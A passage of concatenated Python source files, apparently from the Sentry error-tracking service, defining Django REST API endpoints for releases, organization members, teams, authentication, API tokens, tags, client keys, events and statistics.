        if result.get('ref'):
            kwargs['ref'] = result['ref']
        if result.get('url'):
            kwargs['url'] = result['url']

        if kwargs:
            release.update(**kwargs)

        return Response(serialize(release, request.user))

    # @attach_scenarios([delete_release_scenario])
    def delete(self, request, project, version):
        """
        Delete a Release
        ````````````````

        Permanently remove a release and all of its files.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to delete the
                                     release of.
        :pparam string version: the version identifier of the release.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        # we don't want to remove the first_release metadata on the Group, and
        # while people might want to kill a release (maybe to remove files),
        # removing the release is prevented
        if Group.objects.filter(first_release=release).exists():
            return Response({"detail": ERR_RELEASE_REFERENCED}, status=400)

        # TODO(dcramer): this needs to happen in the queue as it could be a long
        # and expensive operation
        file_list = ReleaseFile.objects.filter(
            release=release,
        ).select_related('file')
        for releasefile in file_list:
            releasefile.file.delete()
            releasefile.delete()
        release.delete()

        return Response(status=204)






from __future__ import absolute_import

from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt

from sentry.api.base import Endpoint


class CatchallEndpoint(Endpoint):
    permission_classes = ()

    @csrf_exempt
    def dispatch(self, request, *args, **kwargs):
        return HttpResponse(status=404)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.base import StatsMixin
from sentry.api.bases.group import GroupEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.api.serializers.models.environment import (
    GroupEnvironmentWithStatsSerializer
)
from sentry.api.serializers.models.grouprelease import (
    GroupReleaseWithStatsSerializer
)
from sentry.models import Environment, GroupRelease, ReleaseEnvironment


class GroupEnvironmentDetailsEndpoint(GroupEndpoint, StatsMixin):
    def get(self, request, group, environment):
        try:
            environment = Environment.objects.get(
                project_id=group.project_id,
                # XXX(dcramer): we have no great way to pass the empty env
                name='' if environment == 'none' else environment,
            )
        except Environment.DoesNotExist:
            raise ResourceDoesNotExist

        first_release = GroupRelease.objects.filter(
            group_id=group.id,
            environment=environment.name,
        ).order_by('first_seen').first()

        last_release = GroupRelease.objects.filter(
            group_id=group.id,
            environment=environment.name,
        ).order_by('-first_seen').first()

        # the current release is the 'latest seen' release within the
        # environment even if it hasnt affected this issue
        current_release = GroupRelease.objects.filter(
            group_id=group.id,
            environment=environment.name,
            release_id=ReleaseEnvironment.objects.filter(
                project_id=group.project_id,
                environment_id=environment.id,
            ).order_by('-first_seen').values_list('release_id', flat=True).first(),
        ).first()

        last_seen = GroupRelease.objects.filter(
            group_id=group.id,
            environment=environment.name,
        ).order_by('-last_seen').values_list('last_seen', flat=True).first()

        stats_args = self._parse_args(request)

        context = {
            'environment': serialize(
                environment, request.user, GroupEnvironmentWithStatsSerializer(
                    group=group,
                    since=stats_args['start'],
                    until=stats_args['end'],
                )
            ),
            'firstRelease': serialize(first_release, request.user),
            'lastRelease': serialize(last_release, request.user),
            'currentRelease': serialize(
                current_release, request.user, GroupReleaseWithStatsSerializer(
                    since=stats_args['start'],
                    until=stats_args['end'],
                )
            ),
            'lastSeen': last_seen,
            'firstSeen': first_release.first_seen if first_release else None,
        }
        return Response(context)






from __future__ import absolute_import, print_function

from rest_framework.response import Response

from sentry.api.base import Endpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import (
    serialize, SharedEventSerializer, SharedGroupSerializer,
    SharedProjectSerializer
)
from sentry.models import Group


class SharedGroupDetailsEndpoint(Endpoint):
    permission_classes = ()

    def get(self, request, share_id):
        """
        Retrieve an aggregate

        Return details on an individual aggregate specified by it's shared ID.

            {method} {path}

        Note: This is not the equivilant of what you'd receive with the standard
        group details endpoint. Data is more restrictive and designed
        specifically for sharing.

        """
        try:
            group = Group.from_share_id(share_id)
        except Group.DoesNotExist:
            raise ResourceDoesNotExist

        if group.organization.flags.disable_shared_issues:
            raise ResourceDoesNotExist

        event = group.get_latest_event()

        context = serialize(group, request.user, SharedGroupSerializer())
        # TODO(dcramer): move latestEvent/project into SharedGroupSerializer
        context['latestEvent'] = serialize(event, request.user, SharedEventSerializer())
        context['project'] = serialize(group.project, request.user, SharedProjectSerializer())
        return Response(context)






from __future__ import absolute_import

from django.db.models import Q
from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.bases.organization import (
    OrganizationEndpoint, OrganizationPermission
)
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.api.serializers.models.team import TeamWithProjectsSerializer
from sentry.models import (
    AuditLogEntryEvent, OrganizationAccessRequest,
    OrganizationMember, OrganizationMemberTeam, Team
)

ERR_INSUFFICIENT_ROLE = 'You cannot modify a member other than yourself.'


class OrganizationMemberTeamSerializer(serializers.Serializer):
    isActive = serializers.BooleanField()


class RelaxedOrganizationPermission(OrganizationPermission):
    _allowed_scopes = [
        'org:read', 'org:write', 'org:delete',
        'member:read', 'member:write', 'member:delete',
    ]

    scope_map = {
        'GET': _allowed_scopes,
        'POST': _allowed_scopes,
        'PUT': _allowed_scopes,

        # DELETE checks for role comparison as you can either remove a member
        # with a lower access role, or yourself, without having the req. scope
        'DELETE': _allowed_scopes,
    }


class OrganizationMemberTeamDetailsEndpoint(OrganizationEndpoint):
    permission_classes = [RelaxedOrganizationPermission]

    def _can_access(self, request, member):
        # TODO(dcramer): ideally org owners/admins could perform these actions
        if request.is_superuser():
            return True

        if not request.user.is_authenticated():
            return False

        if request.user.id == member.user_id:
            return True

        return False

    def _get_member(self, request, organization, member_id):
        if member_id == 'me':
            queryset = OrganizationMember.objects.filter(
                organization=organization,
                user__id=request.user.id,
                user__is_active=True,
            )
        else:
            queryset = OrganizationMember.objects.filter(
                Q(user__is_active=True) | Q(user__isnull=True),
                organization=organization,
                id=member_id,
            )
        return queryset.select_related('user').get()

    def post(self, request, organization, member_id, team_slug):
        """
        Join a team

        Join or request access to a team.

        If the user is already a member of the team, this will simply return
        a 204.

        If the user needs permission to join the team, an access request will
        be generated and the returned status code will be 202.
        """
        try:
            om = self._get_member(request, organization, member_id)
        except OrganizationMember.DoesNotExist:
            raise ResourceDoesNotExist

        if not self._can_access(request, om):
            return Response({'detail': ERR_INSUFFICIENT_ROLE}, status=400)

        try:
            team = Team.objects.get(
                organization=organization,
                slug=team_slug,
            )
        except Team.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            omt = OrganizationMemberTeam.objects.get(
                team=team,
                organizationmember=om,
            )
        except OrganizationMemberTeam.DoesNotExist:
            if not (request.access.has_scope('org:write') or organization.flags.allow_joinleave):
                omt, created = OrganizationAccessRequest.objects.get_or_create(
                    team=team,
                    member=om,
                )
                if created:
                    omt.send_request_email()
                return Response(status=202)

            omt = OrganizationMemberTeam.objects.create(
                team=team,
                organizationmember=om,
            )
        else:
            return Response(status=204)

        self.create_audit_entry(
            request=request,
            organization=organization,
            target_object=omt.id,
            target_user=om.user,
            event=AuditLogEntryEvent.MEMBER_JOIN_TEAM,
            data=omt.get_audit_log_data(),
        )

        return Response(serialize(
            team, request.user, TeamWithProjectsSerializer()), status=201)

    def delete(self, request, organization, member_id, team_slug):
        """
        Leave a team

        Leave a team.
        """
        try:
            om = self._get_member(request, organization, member_id)
        except OrganizationMember.DoesNotExist:
            raise ResourceDoesNotExist

        if not self._can_access(request, om):
            return Response({'detail': ERR_INSUFFICIENT_ROLE}, status=400)

        try:
            team = Team.objects.get(
                organization=organization,
                slug=team_slug,
            )
        except Team.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            omt = OrganizationMemberTeam.objects.get(
                team=team,
                organizationmember=om,
            )
        except OrganizationMemberTeam.DoesNotExist:
            pass
        else:
            self.create_audit_entry(
                request=request,
                organization=organization,
                target_object=omt.id,
                target_user=om.user,
                event=AuditLogEntryEvent.MEMBER_LEAVE_TEAM,
                data=omt.get_audit_log_data(),
            )
            omt.delete()

        return Response(serialize(
            team, request.user, TeamWithProjectsSerializer()), status=200)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.models import TagKey, TagKeyStatus


class ProjectTagsEndpoint(ProjectEndpoint):
    def get(self, request, project):
        tag_keys = TagKey.objects.filter(
            project=project,
            status=TagKeyStatus.VISIBLE,
        )

        data = []
        for tag_key in tag_keys:
            data.append({
                'id': six.text_type(tag_key.id),
                'key': TagKey.get_standardized_key(tag_key.key),
                'name': tag_key.get_label(),
                'uniqueValues': tag_key.values_seen,
            })

        return Response(data)






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.api.bases import OrganizationIssuesEndpoint
from sentry.models import Group, GroupStatus


class OrganizationIssuesNewEndpoint(OrganizationIssuesEndpoint):
    def get_queryset(self, request, organization, member, project_list):
        cutoff = timezone.now() - timedelta(days=7)

        return Group.objects.filter(
            status=GroupStatus.UNRESOLVED,
            active_at__gte=cutoff,
            project__in=project_list,
        ).extra(
            select={'sort_by': 'sentry_groupedmessage.first_seen'},
        ).select_related('project').order_by('-sort_by')






from __future__ import absolute_import

from django.db import transaction
from django.db.models import Q
from rest_framework import serializers
from rest_framework.response import Response

from sentry import roles
from sentry.api.bases.organization import (
    OrganizationEndpoint, OrganizationPermission
)
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import (
    AuditLogEntryEvent, AuthIdentity, AuthProvider, OrganizationMember
)

ERR_NO_AUTH = 'You cannot remove this member with an unauthenticated API request.'

ERR_INSUFFICIENT_ROLE = 'You cannot remove a member who has more access than you.'

ERR_INSUFFICIENT_SCOPE = 'You are missing the member:delete scope.'

ERR_ONLY_OWNER = 'You cannot remove the only remaining owner of the organization.'

ERR_UNINVITABLE = 'You cannot send an invitation to a user who is already a full member.'


class OrganizationMemberSerializer(serializers.Serializer):
    reinvite = serializers.BooleanField()


class RelaxedMemberPermission(OrganizationPermission):
    scope_map = {
        'GET': ['member:read', 'member:write', 'member:delete'],
        'POST': ['member:write', 'member:delete'],
        'PUT': ['member:write', 'member:delete'],

        # DELETE checks for role comparison as you can either remove a member
        # with a lower access role, or yourself, without having the req. scope
        'DELETE': ['member:read', 'member:write', 'member:delete'],
    }


class OrganizationMemberDetailsEndpoint(OrganizationEndpoint):
    permission_classes = [RelaxedMemberPermission]

    def _get_member(self, request, organization, member_id):
        if member_id == 'me':
            queryset = OrganizationMember.objects.filter(
                organization=organization,
                user__id=request.user.id,
                user__is_active=True,
            )
        else:
            queryset = OrganizationMember.objects.filter(
                Q(user__is_active=True) | Q(user__isnull=True),
                organization=organization,
                id=member_id,
            )
        return queryset.select_related('user').get()

    def _is_only_owner(self, member):
        if member.role != roles.get_top_dog().id:
            return False

        queryset = OrganizationMember.objects.filter(
            organization=member.organization_id,
            role=roles.get_top_dog().id,
            user__isnull=False,
            user__is_active=True,
        ).exclude(id=member.id)
        if queryset.exists():
            return False

        return True

    def put(self, request, organization, member_id):
        try:
            om = self._get_member(request, organization, member_id)
        except OrganizationMember.DoesNotExist:
            raise ResourceDoesNotExist

        serializer = OrganizationMemberSerializer(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(status=400)

        has_sso = AuthProvider.objects.filter(
            organization=organization,
        ).exists()

        result = serializer.object
        # XXX(dcramer): if/when this expands beyond reinvite we need to check
        # access level
        if result.get('reinvite'):
            if om.is_pending:
                om.send_invite_email()
            elif has_sso and not getattr(om.flags, 'sso:linked'):
                om.send_sso_link_email()
            else:
                # TODO(dcramer): proper error message
                return Response({'detail': ERR_UNINVITABLE}, status=400)
        return Response(status=204)

    def delete(self, request, organization, member_id):
        try:
            om = self._get_member(request, organization, member_id)
        except OrganizationMember.DoesNotExist:
            raise ResourceDoesNotExist

        if request.user.is_authenticated() and not request.is_superuser():
            try:
                acting_member = OrganizationMember.objects.get(
                    organization=organization,
                    user=request.user,
                )
            except OrganizationMember.DoesNotExist:
                return Response({'detail': ERR_INSUFFICIENT_ROLE}, status=400)
            else:
                if acting_member != om:
                    if not request.access.has_scope('member:delete'):
                        return Response({'detail': ERR_INSUFFICIENT_SCOPE}, status=400)
                    elif not roles.can_manage(acting_member.role, om.role):
                        return Response({'detail': ERR_INSUFFICIENT_ROLE}, status=400)

        # TODO(dcramer): do we even need this check?
        elif not request.access.has_scope('member:delete'):
            return Response({'detail': ERR_INSUFFICIENT_SCOPE}, status=400)

        if self._is_only_owner(om):
            return Response({'detail': ERR_ONLY_OWNER}, status=403)

        audit_data = om.get_audit_log_data()

        with transaction.atomic():
            AuthIdentity.objects.filter(
                user=om.user,
                auth_provider__organization=organization,
            ).delete()

            om.delete()

        self.create_audit_entry(
            request=request,
            organization=organization,
            target_object=om.id,
            target_user=om.user,
            event=AuditLogEntryEvent.MEMBER_REMOVE,
            data=audit_data,
        )

        return Response(status=204)






from __future__ import absolute_import

from django.contrib.auth import logout
from django.contrib.auth.models import AnonymousUser
from rest_framework.response import Response

from sentry.api.authentication import QuietBasicAuthentication
from sentry.models import Authenticator
from sentry.api.base import Endpoint
from sentry.api.serializers import serialize
from sentry.utils import auth


class AuthIndexEndpoint(Endpoint):
    """
    Manage session authentication

    Intended to be used by the internal Sentry application to handle
    authentication methods from JS endpoints by relying on internal sessions
    and simple HTTP authentication.
    """

    authentication_classes = [QuietBasicAuthentication]

    permission_classes = ()

    # XXX: it's not quite clear if this should be documented or not at
    # this time.
    # doc_section = DocSection.ACCOUNTS

    def get(self, request):
        if not request.user.is_authenticated():
            return Response(status=400)

        data = serialize(request.user, request.user)
        data['isSuperuser'] = request.is_superuser()
        return Response(data)

    def post(self, request):
        """
        Authenticate a User
        ```````````````````

        This endpoint authenticates a user using the provided credentials
        through a regular HTTP basic auth system.  The response contains
        cookies that need to be sent with further requests that require
        authentication.

        This is primarily used internally in Sentry.

        Common example::

            curl -X ###METHOD### -u username:password ###URL###
        """
        if not request.user.is_authenticated():
            return Response(status=400)

        # If 2fa login is enabled then we cannot sign in with username and
        # password through this api endpoint.
        if Authenticator.objects.user_has_2fa(request.user):
            return Response({
                '2fa_required': True,
                'message': 'Cannot sign-in with basic auth when 2fa is enabled.'
            }, status=403)

        try:
            # Must use the real request object that Django knows about
            auth.login(request._request, request.user)
        except auth.AuthUserPasswordExpired:
            return Response({
                'message': 'Cannot sign-in with basic auth because password has expired.',
            }, status=403)

        return self.get(request)

    def delete(self, request, *args, **kwargs):
        """
        Logout the Authenticated User
        `````````````````````````````

        Deauthenticate the currently active session.
        """
        logout(request._request)
        request.user = AnonymousUser()
        return Response(status=204)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.base import Endpoint
from sentry.api.serializers import serialize
from sentry.utils.functional import extract_lazy_object


class IndexEndpoint(Endpoint):
    permission_classes = ()

    def get(self, request):
        if request.user.is_authenticated():
            user = serialize(extract_lazy_object(request.user), request.user)
        else:
            user = None

        if request.auth:
            auth = {
                'scopes': request.auth.get_scopes(),
            }
        else:
            auth = None

        context = {
            'version': '0',
            'auth': auth,
            'user': user,
        }
        return Response(context, status=200)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.paginator import OffsetPaginator
from sentry.api.serializers import serialize
from sentry.models import EventUser


class ProjectUsersEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    def get(self, request, project):
        """
        List a Project's Users
        ``````````````````````

        Return a list of users seen within this project.

        :pparam string organization_slug: the slug of the organization.
        :pparam string project_slug: the slug of the project.
        :pparam string key: the tag key to look up.
        :auth: required
        :qparam string query: Limit results to users matching the given query.
                              Prefixes should be used to suggest the field to
                              match on: ``id``, ``email``, ``username``, ``ip``.
                              For example, ``query=email:foo@example.com``
        """
        queryset = EventUser.objects.filter(
            project=project,
        )
        if request.GET.get('query'):
            pieces = request.GET['query'].strip().split(':', 1)
            if len(pieces) != 2:
                return Response([])
            try:
                queryset = queryset.filter(**{
                    '{}__icontains'.format(EventUser.attr_from_keyword(pieces[0])): pieces[1]
                })
            except KeyError:
                return Response([])

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='hash',
            paginator_cls=OffsetPaginator,
            on_results=lambda x: serialize(x, request.user),
        )






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.base import DocSection, StatsMixin
from sentry.api.bases.organization import OrganizationEndpoint
from sentry.app import tsdb
from sentry.models import Project, Team
from sentry.utils.apidocs import attach_scenarios, scenario


@scenario('RetrieveEventCountsOrganization')
def retrieve_event_counts_organization(runner):
    runner.request(
        method='GET',
        path='/organizations/%s/stats/' % runner.org.slug
    )


class OrganizationStatsEndpoint(OrganizationEndpoint, StatsMixin):
    doc_section = DocSection.ORGANIZATIONS

    @attach_scenarios([retrieve_event_counts_organization])
    def get(self, request, organization):
        """
        Retrieve Event Counts for an Organization
        `````````````````````````````````````````

        .. caution::
           This endpoint may change in the future without notice.

        Return a set of points representing a normalized timestamp and the
        number of events seen in the period.

        :pparam string organization_slug: the slug of the organization for
                                          which the stats should be
                                          retrieved.
        :qparam string stat: the name of the stat to query (``"received"``,
                             ``"rejected"``, ``"blacklisted"``)
        :qparam timestamp since: a timestamp to set the start of the query
                                 in seconds since UNIX epoch.
        :qparam timestamp until: a timestamp to set the end of the query
                                 in seconds since UNIX epoch.
        :qparam string resolution: an explicit resolution to search
                                   for (eg: ``10s``).  This should not be
                                   used unless you are familiar with Sentry's
                                   internals as it's restricted to pre-defined
                                   values.
        :auth: required
        """
        group = request.GET.get('group', 'organization')
        if group == 'organization':
            keys = [organization.id]
        elif group == 'project':
            team_list = Team.objects.get_for_user(
                organization=organization,
                user=request.user,
            )

            project_list = []
            for team in team_list:
                project_list.extend(Project.objects.get_for_user(
                    team=team,
                    user=request.user,
                ))
            keys = [p.id for p in project_list]
        else:
            raise ValueError('Invalid group: %s' % group)

        if 'id' in request.GET:
            id_filter_set = frozenset(map(int, request.GET.getlist('id')))
            keys = [k for k in keys if k in id_filter_set]

        if not keys:
            return Response([])

        stat_model = None
        stat = request.GET.get('stat', 'received')
        if stat == 'received':
            if group == 'project':
                stat_model = tsdb.models.project_total_received
            else:
                stat_model = tsdb.models.organization_total_received
        elif stat == 'rejected':
            if group == 'project':
                stat_model = tsdb.models.project_total_rejected
            else:
                stat_model = tsdb.models.organization_total_rejected
        elif stat == 'blacklisted':
            if group == 'project':
                stat_model = tsdb.models.project_total_blacklisted
            else:
                stat_model = tsdb.models.organization_total_blacklisted
        elif stat == 'generated':
            if group == 'project':
                stat_model = tsdb.models.project

        if stat_model is None:
            raise ValueError('Invalid group: %s, stat: %s' % (group, stat))

        data = tsdb.get_range(
            model=stat_model,
            keys=keys,
            **self._parse_args(request)
        )

        if group == 'organization':
            data = data[organization.id]

        return Response(data)






from __future__ import absolute_import

from operator import or_
from rest_framework import serializers
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
from six.moves import reduce

from sentry.api.base import Endpoint, SessionAuthentication
from sentry.api.fields import MultipleChoiceField
from sentry.api.serializers import serialize
from sentry.models import ApiToken


class ApiTokenSerializer(serializers.Serializer):
    scopes = MultipleChoiceField(
        required=True,
        choices=ApiToken.scopes.keys(),
    )


class ApiTokensEndpoint(Endpoint):
    authentication_classes = (
        SessionAuthentication,
    )
    permission_classes = (
        IsAuthenticated,
    )

    def get(self, request):
        token_list = list(ApiToken.objects.filter(
            user=request.user,
        ))

        return Response(serialize(token_list, request.user))

    def post(self, request):
        serializer = ApiTokenSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            token = ApiToken.objects.create(
                user=request.user,
                scopes=reduce(or_, (
                    getattr(ApiToken.scopes, k) for k in result['scopes']
                )),
            )

            return Response(serialize(token, request.user), status=201)
        return Response(serializer.errors, status=400)

    def delete(self, request):
        token = request.DATA.get('token')
        if not token:
            return Response({'token': ''}, status=400)

        ApiToken.objects.filter(
            user=request.user,
            token=token,
        ).delete()

        return Response(status=204)






from __future__ import absolute_import

from sentry.api.base import DocSection
from sentry.api.bases.group import GroupEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.paginator import DateTimePaginator, OffsetPaginator, Paginator
from sentry.api.serializers import serialize
from sentry.models import GroupTagValue, TagKey, TagKeyStatus, Group
from sentry.utils.apidocs import scenario


@scenario('ListTagValues')
def list_tag_values_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/issues/%s/tags/%s/values/' % (
            group.id, 'browser'),
    )


class GroupTagKeyValuesEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    # XXX: this scenario does not work for some inexplicable reasons
    # @attach_scenarios([list_tag_values_scenario])
    def get(self, request, group, key):
        """
        List a Tag's Values
        ```````````````````

        Return a list of values associated with this key for an issue.

        :pparam string issue_id: the ID of the issue to retrieve.
        :pparam string key: the tag key to look the values up for.
        :auth: required
        """
        # XXX(dcramer): kill sentry prefix for internal reserved tags
        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        tagkey = TagKey.objects.filter(
            project=group.project_id,
            key=lookup_key,
            status=TagKeyStatus.VISIBLE,
        )
        if not tagkey.exists():
            raise ResourceDoesNotExist

        queryset = GroupTagValue.objects.filter(
            group=group,
            key=lookup_key,
        )

        sort = request.GET.get('sort')
        if sort == 'date':
            order_by = '-last_seen'
            paginator_cls = DateTimePaginator
        elif sort == 'age':
            order_by = '-first_seen'
            paginator_cls = DateTimePaginator
        elif sort == 'freq':
            order_by = '-times_seen'
            paginator_cls = OffsetPaginator
        else:
            order_by = '-id'
            paginator_cls = Paginator

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by=order_by,
            paginator_cls=paginator_cls,
            on_results=lambda x: serialize(x, request.user),
        )






from __future__ import absolute_import

from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import AuditLogEntryEvent, ProjectKey, ProjectKeyStatus
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('DeleteClientKey')
def delete_key_scenario(runner):
    key = runner.utils.create_client_key(runner.default_project)
    runner.request(
        method='DELETE',
        path='/projects/%s/%s/keys/%s/' % (
            runner.org.slug, runner.default_project.slug,
            key.public_key)
    )


@scenario('UpdateClientKey')
def update_key_scenario(runner):
    key = runner.utils.create_client_key(runner.default_project)
    runner.request(
        method='PUT',
        path='/projects/%s/%s/keys/%s/' % (
            runner.org.slug, runner.default_project.slug,
            key.public_key),
        data={'name': 'Quite Positive Key'}
    )


class KeySerializer(serializers.Serializer):
    name = serializers.CharField(max_length=200, required=False)


class ProjectKeyDetailsEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    @attach_scenarios([update_key_scenario])
    def put(self, request, project, key_id):
        """
        Update a Client Key
        ```````````````````

        Update a client key.  This can be used to rename a key.

        :pparam string organization_slug: the slug of the organization the
                                          client keys belong to.
        :pparam string project_slug: the slug of the project the client keys
                                     belong to.
        :pparam string key_id: the ID of the key to update.
        :param string name: the new name for the client key.
        :auth: required
        """
        try:
            key = ProjectKey.objects.get(
                project=project,
                public_key=key_id,
                status=ProjectKeyStatus.ACTIVE,
                roles=ProjectKey.roles.store,
            )
        except ProjectKey.DoesNotExist:
            raise ResourceDoesNotExist

        serializer = KeySerializer(data=request.DATA, partial=True)

        if serializer.is_valid():
            result = serializer.object

            if result.get('name'):
                key.label = result['name']

            key.save()

            self.create_audit_entry(
                request=request,
                organization=project.organization,
                target_object=key.id,
                event=AuditLogEntryEvent.PROJECTKEY_EDIT,
                data=key.get_audit_log_data(),
            )

            return Response(serialize(key, request.user), status=200)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    @attach_scenarios([delete_key_scenario])
    def delete(self, request, project, key_id):
        """
        Delete a Client Key
        ```````````````````

        Delete a client key.

        :pparam string organization_slug: the slug of the organization the
                                          client keys belong to.
        :pparam string project_slug: the slug of the project the client keys
                                     belong to.
        :pparam string key_id: the ID of the key to delete.
        :auth: required
        """
        try:
            key = ProjectKey.objects.get(
                project=project,
                public_key=key_id,
                status=ProjectKeyStatus.ACTIVE,
                roles=ProjectKey.roles.store,
            )
        except ProjectKey.DoesNotExist:
            raise ResourceDoesNotExist

        self.create_audit_entry(
            request=request,
            organization=project.organization,
            target_object=key.id,
            event=AuditLogEntryEvent.PROJECTKEY_REMOVE,
            data=key.get_audit_log_data(),
        )

        key.delete()

        return Response(status=204)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.models import Event
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('RetrieveEventForProject')
def retrieve_event_for_project_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/events/%s/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_event.event_id)
    )


class ProjectEventDetailsEndpoint(ProjectEndpoint):
    doc_section = DocSection.EVENTS

    @attach_scenarios([retrieve_event_for_project_scenario])
    def get(self, request, project, event_id):
        """
        Retrieve an Event for a Project
        ```````````````````````````````

        Return details on an individual event.

        :pparam string organization_slug: the slug of the organization the
                                          event belongs to.
        :pparam string project_slug: the slug of the project the event
                                     belongs to.
        :pparam string event_id: the hexadecimal ID of the event to
                                 retrieve (as reported by the raven client).
        :auth: required
        """
        try:
            event = Event.objects.get(
                event_id=event_id,
                project_id=project.id,
            )
        except Event.DoesNotExist:
            return Response({'detail': 'Event not found'}, status=404)

        Event.objects.bind_nodes([event], 'data')

        # HACK(dcramer): work around lack of unique sorting on datetime
        base_qs = Event.objects.filter(
            group_id=event.group_id,
        ).exclude(id=event.id)
        try:
            next_event = sorted(
                base_qs.filter(
                    datetime__gte=event.datetime
                ).order_by('datetime')[0:5],
                key=lambda x: (x.datetime, x.id)
            )[0]
        except IndexError:
            next_event = None

        try:
            prev_event = sorted(
                base_qs.filter(
                    datetime__lte=event.datetime,
                ).order_by('-datetime')[0:5],
                key=lambda x: (x.datetime, x.id),
                reverse=True
            )[0]
        except IndexError:
            prev_event = None

        data = serialize(event, request.user)

        if next_event:
            data['nextEventID'] = six.text_type(next_event.event_id)
        else:
            data['nextEventID'] = None
        if prev_event:
            data['previousEventID'] = six.text_type(prev_event.event_id)
        else:
            data['previousEventID'] = None

        return Response(data)






from __future__ import absolute_import

from django.http import HttpResponseRedirect

from sentry.api.base import Endpoint
from sentry.api.bases.project import ProjectPermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import Project
from sentry.utils.http import absolute_uri


class LegacyProjectRedirectEndpoint(Endpoint):
    permission_classes = (ProjectPermission,)

    def convert_args(self, request, project_id, *args, **kwargs):
        try:
            project = Project.objects.get_from_cache(
                id=project_id,
            )
        except Project.DoesNotExist:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, project)

        kwargs['project'] = project
        return (args, kwargs)

    def get(self, request, project, path):
        """
        Retrieve a project

        Return details on an individual project.

            {method} {path}

        """
        return HttpResponseRedirect(
            absolute_uri('/api/0/projects/{}/{}/{}'.format(
                project.organization.slug,
                project.slug,
                path or '',
            ))
        )






from __future__ import absolute_import

from sentry.api.bases.group import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.api.paginator import DateTimePaginator
from sentry.models import UserReport


class GroupUserReportsEndpoint(GroupEndpoint):
    def get(self, request, group):
        """
        List User Reports
        `````````````````

        Returns a list of user reports for an issue.

        :pparam string issue_id: the ID of the issue to retrieve.
        :pparam string key: the tag key to look the values up for.
        :auth: required
        """

        report_list = UserReport.objects.filter(
            group=group
        )

        return self.paginate(
            request=request,
            queryset=report_list,
            order_by='-date_added',
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=DateTimePaginator,
        )






from __future__ import absolute_import

import logging

from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.organization import OrganizationEndpoint
from sentry.api.decorators import sudo_required
from sentry.api.serializers import serialize
from sentry.api.serializers.models.organization import (
    DetailedOrganizationSerializer
)
from sentry.models import (
    AuditLogEntryEvent, Organization, OrganizationOption, OrganizationStatus
)
from sentry.tasks.deletion import delete_organization
from sentry.utils.apidocs import scenario, attach_scenarios


ERR_DEFAULT_ORG = 'You cannot remove the default organization.'


@scenario('RetrieveOrganization')
def retrieve_organization_scenario(runner):
    runner.request(
        method='GET',
        path='/organizations/%s/' % runner.org.slug
    )


@scenario('UpdateOrganization')
def update_organization_scenario(runner):
    with runner.isolated_org('Badly Misnamed') as org:
        api_key = runner.utils.create_api_key(org)
        runner.request(
            method='PUT',
            path='/organizations/%s/' % org.slug,
            data={
                'name': 'Impeccably Designated',
                'slug': 'impeccably-designated',
            },
            api_key=api_key
        )


class OrganizationSerializer(serializers.ModelSerializer):
    projectRateLimit = serializers.IntegerField(min_value=1, max_value=100)
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50,
                                  required=False)

    class Meta:
        model = Organization
        fields = ('name', 'slug')

    def validate_slug(self, attrs, source):
        value = attrs[source]
        if Organization.objects.filter(slug=value).exclude(id=self.object.id):
            raise serializers.ValidationError('The slug "%s" is already in use.' % (value,))
        return attrs

    def save(self):
        rv = super(OrganizationSerializer, self).save()
        # XXX(dcramer): this seems wrong, but cant find documentation on how to
        # actually access this data
        if 'projectRateLimit' in self.init_data:
            OrganizationOption.objects.set_value(
                organization=self.object,
                key='sentry:project-rate-limit',
                value=int(self.init_data['projectRateLimit']),
            )
        return rv


class OrganizationDetailsEndpoint(OrganizationEndpoint):
    doc_section = DocSection.ORGANIZATIONS

    @attach_scenarios([retrieve_organization_scenario])
    def get(self, request, organization):
        """
        Retrieve an Organization
        ````````````````````````

        Return details on an individual organization including various details
